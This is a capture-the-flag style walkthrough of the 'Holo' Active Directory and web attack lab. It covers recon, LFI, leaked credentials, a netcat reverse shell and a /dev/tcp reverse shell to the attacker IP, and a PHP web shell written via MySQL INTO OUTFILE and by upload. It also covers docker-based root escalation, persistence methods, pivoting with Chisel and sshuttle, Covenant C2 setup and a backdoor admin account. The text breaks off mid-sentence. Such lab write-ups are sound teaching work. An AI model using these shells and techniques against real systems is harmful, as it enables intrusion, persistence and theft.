Holo
Holo is an Active Directory and Web Application attack lab that teaches core web attack vectors and advanced\obscure Active Directory attacks along with general red teaming methodology and concepts.
What to learn and explore :
- .NET basics
- Web application exploitation
- AV evasion
- Whitelist and container escapes
- Pivoting
- Operating with a C2 (Command and Control) Framework
- Post-Exploitation
- Situational Awareness
- Active Directory attacks
.NET Basic
.NET is a software framework developed by Microsoft for building and running applications on various platforms. .NET uses a run-time environment known as the Common Language Runtime (CLR).We can use any .NET language (C#, PowerShell, etc.) to compile into the Common Intermediary Language (CIL). NET also interfaces directly with Win32 and API calls making the optimal solution for Windows application development and offensive tool development.
.NET consists of two different branches with different purposes, outlined below.
- .NET Framework (Windows only)
- .NET Core (Cross-Compatible)
The main component of .NET is .NET assemblies. .NET assemblies are compiled .exes and .dlls that any .NET language can execute.The CLR will compile the CIL into native machine code. You can find the flow of code within .NET below.
Initial recon
Nmap
With the command nmap -sC -sV -p- -vv -oN nmapscans -T4 10.200.107.0/24
2 machines were in the network 10.200.107.33
and 10.200.107.250
machine 10.200.107.33
3 ports were open in the network
Nmap 7.94 scan initiated Thu May 2 09:53:20 2024 as: nmap -vv -oN nmapscans.33 -T4 -p- 10.200.107.33
Nmap scan report for 10.200.107.33
Host is up, received echo-reply ttl 63 (0.26s latency).
Scanned at 2024-05-02 09:53:20 EAT for 1400s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 62
33060/tcp open mysqlx syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
# Nmap done at Thu May 2 10:16:40 2024 -- 1 IP address (1 host up) scanned in 1399.91 seconds
machine 10.200.107.250
2 ports were open in the network
Nmap scan report for 10.200.107.250
Host is up, received echo-reply ttl 64 (0.27s latency).
Scanned at 2024-05-02 08:47:29 EAT for 2232s
Not shown: 65527 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
1337/tcp open http syn-ack ttl 64 Node.js Express framework
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
machine 10.200.107.33
on port 80, the was a website running
scanning for hidden directories with the command gobuster dir -u http://10.200.107.33/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.out
, I found nothing but the website seemed to be running with wordpress
1
2
3
4
5
6
7
/login (Status: 302) [Size: 0] [--> http://www.holo.live/wp-login.php]
/0 (Status: 301) [Size: 0] [--> http://10.200.107.33/0/]
/wp-content (Status: 301) [Size: 319] [--> http://10.200.107.33/wp-content/]
/admin (Status: 302) [Size: 0] [--> http://www.holo.live/wp-admin/]
/wp-login (Status: 403) [Size: 278]
/wp-includes (Status: 301) [Size: 320] [--> http://10.200.107.33/wp-includes/]
Scanning for WordPress, I found 2 things , version number and username but the login was empty page
- wordpress version number
1
2
3
4
5
[+] WordPress version 5.5.3 identified (Insecure, released on 2020-10-30).
| Found By: Emoji Settings (Passive Detection)
| - http://10.200.107.33/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.5.3'
| Confirmed By: Meta Generator (Passive Detection)
| - http://10.200.107.33/, Match: 'WordPress 5.5.3'
- User(s) Identified:
1 2 3 4
[+] admin | Found By: Wp Json Api (Aggressive Detection) | - http://10.200.107.33/wp-json/wp/v2/users/?per_page=100&page=1 | Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
Web App Exploitation
After scanning for hidden directories and all, I found nothing. Now, it’s time to check for vhosts. Vhosts allow running many websites on one server. They need an extra header, Host, to tell the Web Server which vhost the traffic is for. This is handy when you have only one IP address but want multiple DNS entries. Services like Squarespace or WordPress often use this.
With te command wfuzz -u http://holo.live -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.holo.live" --hw 1402
I found some hidden virtual hosts
Target: http://holo.live/
Total requests: 4990
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 271 L 701 W 7515 Ch "dev"
000000025: 200 75 L 158 W 1845 Ch "admin"
000000020: 200 271 L 701 W 7515 Ch "dev"
000000002: 200 155 L 1398 W 21405 Ch "www"
000000690: 400 12 L 53 W 422 Ch "gc._msdcs"
000002181: 301 0 L 0 W 0 Ch "www.www"
Total time: 0
Processed Requests: 4990
Filtered Requests: 4984
Requests/sec.: 0
and with dev
and www
, we had static webpages but with admin
, there was a log in
While fuzzing for hidden directories on admin.holo.live
,came across the robots.txt
file.
User-agent: *
Disallow: /var/www/admin/db.php
Disallow: /var/www/admin/dashboard.php
Disallow: /var/www/admin/supersecretdir/creds.txt
In dev.holo.live
when checking the images, it seemed to have lfi when fetching the images.From OWASP, “Local file inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application.” LFI can be trivial to identify, typically found from parameters, commonly used when downloading files or referencing images. Find an example below from the test environment.
Intercepted the traffic with burp and I was able to read /etc/passwd
file
I tried to access home folder but it was in vain so I
wfuzz
for files that I could access but I didn’t find anything intresting
1
wfuzz -c -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://dev.holo.live/img.php?file=FUZZ
However remember while exploring the robots.txt
directory on admin.holo.live
, I stumbled upon hidden files, notably one that appeared to contain credentials located at /var/www/admin/supersecretdir/creds.txt
.
- username
admin
- password
DBManagerLogin!
and I was logged in
Looking at the webpage source code , there was this comment line
1
//if ($_GET['cmd'] === NULL) { echo passthru("cat /tmp/Views.txt"); } else { echo passthru($_GET['cmd']);} -->
Trying with the ?cmd=ifconfig
, I was the ip address of the server, so we had a command executed
With the command nc -c bash 10.50.103.242 4444
, I was able to get a reverse shell back
Docker
Containers, due to their isolated nature, will often have very few processes running in comparison to something such as a virtual machine. We can simply use ps aux to print the running processes. Note in the screenshot below that there are very few processes running?
Containers allow environment variables to be provided from the host operating system by the use of a .dockerenv file. This file is located in the “/” directory and would exist on a container - even if no environment variables were provided.
Cgroups are used by containerization software such as LXC or Docker. Let’s look for them by navigating to /proc/1 and then catting the “cgroup” file… It is worth mentioning that the “cgroups” file contains paths including the word “docker”.
Living off the LANd
Since we know that we are in a docker container, we can continue to enumeration to determine what we can do and what other paths we can take to continue attacking this server. A critical part of situational awareness is identifying network and host information. This can be done via port scanning and network tooling.
1st we can utilize /dev/tcp/ipaddr/port; this will act as a built-in scanner to gather information on the container ports. This utility is broken down below. more info Linux Documentation Project.devref1.html
/dev/
contains all hardware devices, such as NIC, HDD, SSD, RAM/dev/tcp/
pseudo-device of your ethernet/wireless card opens a socket when data is directed either in or out.
We can also use this to our advantage to scan internal ports by piping a list of ports into it. Find an example of a full bash port scanner below.
1
2
3
4
5
#!/bin/bash
ports=(21 22 53 80 443 3306 8443 8080)
for port in ${ports[@]}; do
timeout 1 bash -c "echo \"Port Scan Test\" > /dev/tcp/1.1.1.1/$port && echo $port is open || /dev/null"
done
2nd we can use method of port scanning using python. To scan ports with python, we will need to use the sockets library to open connections and enable network connectivity. The script itself is as simple as opening connections to sequencing ports in a loop. Find an example of the full python port scanner below.
1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/python3
import socket
host = "1.1.1.1"
portList = [21,22,53,80,443,3306,8443,8080]
for port in portList:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host,port))
print("Port ", port, " is open")
except:
print("Port ", port, " is closed")
3rd we can use Netcat to connect to a range of ports nc -zv 192.168.100.1 1-65535
www-data@a7cac6cdbc37:/var/www/admin$ nc -zv 192.168.100.1 1-65535
ip-192-168-100-1.eu-west-1.compute.internal [192.168.100.1] 33060 (?) open
ip-192-168-100-1.eu-west-1.compute.internal [192.168.100.1] 8080 (http-alt) open
ip-192-168-100-1.eu-west-1.compute.internal [192.168.100.1] 3306 (mysql) open
ip-192-168-100-1.eu-west-1.compute.internal [192.168.100.1] 80 (http) open
ip-192-168-100-1.eu-west-1.compute.internal [192.168.100.1] 22 (ssh) open
But checking for open ports using netstat,we see only open ports within the docker environment
www-data@a7cac6cdbc37:/var/www/admin$ netstat -ona
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.11:35539 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 192.168.100.100:80 10.50.103.242:34158 ESTABLISHED keepalive (7060.64/0/0)
tcp 0 144 192.168.100.100:49044 10.50.103.242:4444 ESTABLISHED on (0.46/0/0)
udp 0 0 127.0.0.11:56884 0.0.0.0:* off (0.00/0/0)
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 2 [ ACC ] STREAM LISTENING 23162 /var/run/mysqld/mysqld.sock
www-data@a7cac6cdbc37:/var/www/admin$
Now that we know mysq is running, we neet to search for mysql credentials most likely found in /var/www/
www-data@a7cac6cdbc37:/var/www/admin$ cat db_connect.php
<?php
define('DB_SRV', '192.168.100.1');
define('DB_PASSWD', "!123SecureAdminDashboard321!");
define('DB_USER', 'admin');
define('DB_NAME', 'DashboardDB');
$connection = mysqli_connect(DB_SRV, DB_USER, DB_PASSWD, DB_NAME);
if($connection == false){
die("Error: Connection to Database could not be made." . mysqli_connect_error());
}
?>
- username : admin
- password : !123SecureAdminDashboard321!
- host : 192.168.100.1
The basic methodology for exploiting MySQL can be found below.
- Access the remote database using administrator credentials
- Create a new table in the main database
- Inject PHP code to gain command execution
- Example code: <?php $cmd=$_GET[“cmd”];system($cmd);?>
- Drop table contents onto a file the user can access
- Execute and obtain RCE on the host.
use single command to inject our PHP code into a table and save the table into a file on the remote system. We are writing any code that we want onto the remote system from this command, which we can then execute, giving use code execution. Find the command used below.
select '<?php $cmd=$_GET["cmd"];system($cmd);?>' INTO OUTFILE '/var/www/html/shell.php';
fig-data@a7cac6cdbc37:/var/www/html$ curl 192.168.100.1:8080/shell.php?cmd=whoami
www-data
www-data@a7cac6cdbc37:/var/www/html$
and we have command execution here, so is to have a reverse connection back to us and we had a call back
curl 192.168.100.1:8080/shell.php?cmd=bash+-c+"bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.50.103.242%2F4488%200%3E%261"
Privilege Escalation
searching for files with this bit set with the command find / -perm -u=s -type f 2>/dev/null
I found
www-data@ip-10-200-107-33:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/umount
/usr/bin/docker
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/at
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/mount
/usr/bin/chsh
www-data@ip-10-200-107-33:/var/www/html$
Docker stands out here.
While browsing through gtfobins, I discovered a method to exploit to root using the following command:
docker run -v /:/mnt --rm -it cb1b741122e8 chroot /mnt sh
The command mount the file system into the docker container under /mnt
Post Exploitation
Yes, we do have the entire file system in the container but we needed more functionality like to execute commands as root in the machine
There are many methods for persistence
- Create a ssh_key and drop it on the root file
- Change the root password hash on /etc/shadows
- Backdoored binaries
- PAM backdoor
- Malicious services
- Cronjob
- Credential harvesting
I used 2 mtds ,
- Created and droped a ssh key on the
/root/.ssh
- cracked the passwords for the users account
Pivoting Digging a tunnel to nowhere
There are several tools outlined below that can help us in pivoting.
- sshuttle
- Chisel
- Ligolo
- Metasploit autoroute
To create a SOCKs server with Chisel, you will only need two commands ran on the target and the attacking machine, outlined below.
- On the attacking machine:
./chisel server -p 8000 --reverse
- On the target machine:
./chisel client <SERVER IP>:8000 R:socks
Using sshuttle is relatively easy and only requires one command. For sshuttle to work, you only need to specify one parameter, -r . With this parameter, you will specify the user and target like you would for a standard ssh connection. You will also need to specify the CIDR range of the network; this does not require a parameter. Find an example of syntax below.
Syntax: sshuttle -r ubuntu@10.200.107.33 10.200.107.0/24
sudo docker run -it -p 7443:7443 -p 80:80 -p 443:443 –name covenant -v /opt/c2/Covenant/Covenant/Data:/app/Data covenant
Command and Control
Command your Foes and Control your Friends
To use covenant, you have to install dotnet framework using the following documentation
but with me it didn’t work, so I had to use docker instead
1
2
3
4
git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
docker build -t covenant .
docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant -v /opt/Covenant/Covenant/Data:/app/Data covenant
Create an account and login
When operating with Covenant, there are four main stages: creating a listener, generating a stager, deploying a grunt, utilizing the grunt. All stages of operation can already be done using other tools like MSFVenom, Netcat, Metasploit, etc. however, Covenant gives you a way to operationalize them all under one platform allowing for easier management and collaborative operations.
Web App Exploitation
exploiting ip address 10.200.107.31
When doing a ping for i in {1..255}; do (ping -c 1 10.200.107.${i} | grep "bytes from" &); done
, it reveals additional IP addresses available within the local network, providing insights into the network topology.
Whn doing a nmap scan on the ip address 10.200.107.31
, we can see port 80 open
Nmap scan report for ip-10-200-107-31.eu-west-1.compute.internal (10.200.107.31)
Host is up, received arp-response (0.0021s latency).
Scanned at 2024-05-03 12:46:20 UTC for 158s
Not shown: 992 closed ports
Reason: 992 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 128 OpenSSH for_Windows_7.7 (protocol 2.0)
80/tcp open http syn-ack ttl 128 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
135/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 128 Microsoft Windows netbios-ssn
443/tcp open ssl/http syn-ack ttl 128 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
445/tcp open microsoft-ds? syn-ack ttl 128
3306/tcp open mysql? syn-ack ttl 128
3389/tcp open ms-wbt-server syn-ack ttl 128 Microsoft Terminal Services
MAC Address: 02:EF:3D:AB:DB:D3 (Unknown)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
To access the network, we have to port tunnel with the command sshuttle -r sire@10.200.107.33 0.0.0.0/0
Try to reset the password with user sire
, we can see the username does not exist
This means that there is some user validation on the server so tying user gurag
we can see user exists and with a cookie token generated
Intercepting the traffic , we can see that there is a place to supply some user token cookie in url
When you supply the user token in the url , you will be directed to /reset
where you will be able to reset the password
After successfully updating the password, we gained access to a server featuring an image uploading capability, accessible via the /img
directory. This functionality allows users to upload images and subsequently view them within the server.
Exploiting the uploads fucntionally
After attempting to upload a basic PHP shell <?php system($_GET['lfi']); ?>
, it was swiftly removed without executing commands. Consequently, I opted to upload a web shell instead, in pursuit of achieving the desired functionality.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
and we did have command execution
checking whoami, I found out that I am nt/authority so the best thing is , I created another user with the command net user JohnDoe password123 /add
and with the command net localgroup administrators JohnDoe /add
, we were administrative
“I SSHed into the machine, but the shell was really unstable. I couldn’t upload because it consistently triggered Windows Defender’s real-time protection (AMSI), resulting in its blockage.
and so I